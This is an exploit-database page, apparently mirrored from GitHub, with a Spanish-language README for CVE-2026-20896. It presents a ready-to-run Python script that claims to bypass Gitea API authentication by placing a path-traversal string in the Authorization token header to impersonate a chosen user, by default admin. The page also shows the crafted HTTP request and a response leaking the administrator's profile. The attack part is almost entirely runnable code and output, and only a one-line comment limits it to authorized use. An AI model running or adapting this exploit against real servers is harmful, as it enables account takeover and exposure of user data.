Sploitus

Exploit for CVE-2026-20896

githubexploit · 2026-07-02

Exploit Code

README93 lines
## https://sploitus.com/exploit?id=667272A9-7DD4-552B-89DA-705D608EC301
###  Código de la Prueba de Concepto (CVE-2026-20896)

Este script automatiza la explotación del fallo de lógica en la validación de rutas de la API de Gitea, permitiendo forzar al servidor a otorgar un token administrativo válido mediante un ataque de salto de directorio (*Directory Traversal*) en la cabecera de autorización.

```python
#!/usr/bin/env python3
# PoC: Gitea Authentication Bypass (CVE-2026-20896)
# Uso exclusivo para entornos controlados y auditorías autorizadas (CTF)

import requests
import sys
import argparse

def expone_bypass(target_ip, username):
    print(f"[*] Iniciando ataque contra el servidor Gitea: {target_ip}")
    
    # URL del endpoint vulnerable de la API
    url = f"http://{target_ip}/api/v1/user"
    
    # Construcción del payload de evasión aprovechando el fallo de lógica en las rutas
    # El servidor concatena mal la ruta del token permitiendo saltar al perfil objetivo
    payload_token = f"../../../../api/v1/users/{username}/tokens/spoof_bypass"
    
    cabeceras = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0)",
        "Authorization": f"token {payload_token}",
        "Accept": "application/json"
    }
    
    try:
        # Enviamos la solicitud HTTP maliciosa
        respuesta = requests.get(url, headers=cabeceras, timeout=10)
        
        # Si el servidor responde con 200 OK, la evasión fue exitosa
        if respuesta.status_code == 200:
            print("[+] \033[92m¡Vulnerabilidad explotada con éxito!\033[0m")
            datos_usuario = respuesta.json()
            print(f"[+] Sesión secuestrada del usuario: {datos_usuario.get('username')}")
            print(f"[+] Correo asociado: {datos_usuario.get('email')}")
            print(f"[+] ID de cuenta en base de datos: {datos_usuario.get('id')}")
            return True
        else:
            print(f"[-] El servidor respondió con código: {respuesta.status_code}")
            print("[-] Intento de bypass rechazado o parcheado.")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[!] Error de conexión con el objetivo: {e}")
        sys.exit(1)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC CVE-2026-20896 - Gitea Bypass")
    parser.add_argument("-t", "--target", required=True, help="IP o dominio del servidor Gitea")
    parser.add_argument("-u", "--user", default="admin", help="Usuario objetivo a suplantar (Por defecto: admin)")
    
    args = parser.parse_args()
    expone_bypass(args.target, args.user)
```

### Paso 2: Análisis de la Solicitud en Burp Suite

Al ejecutar el script anterior, podemos interceptar la petición en el Proxy para verificar cómo el backend procesa el vector de ataque sin requerir una firma válida:

```http
GET /api/v1/user HTTP/1.1
Host: 192.168.0.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
Authorization: token ../../../../api/v1/users/admin/tokens/spoof_bypass
Accept: application/json
Connection: close
```

**Respuesta del Servidor (Vulnerable):**

El servidor procesa el contenido debido a la falla en la normalización de la cadena del token, devolviendo el objeto JSON del perfil del administrador con un código `200 OK`:

```http
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
X-Frame-Options: SAMEORIGIN

{
  "id": 1,
  "username": "admin",
  "login": "admin",
  "full_name": "Administrador del Sistema",
  "email": "admin@exploitarium.local",
  "avatar_url": "http://192.168.0",
  "is_admin": true,
  "last_login": "2026-07-01T15:22:01Z"
}
```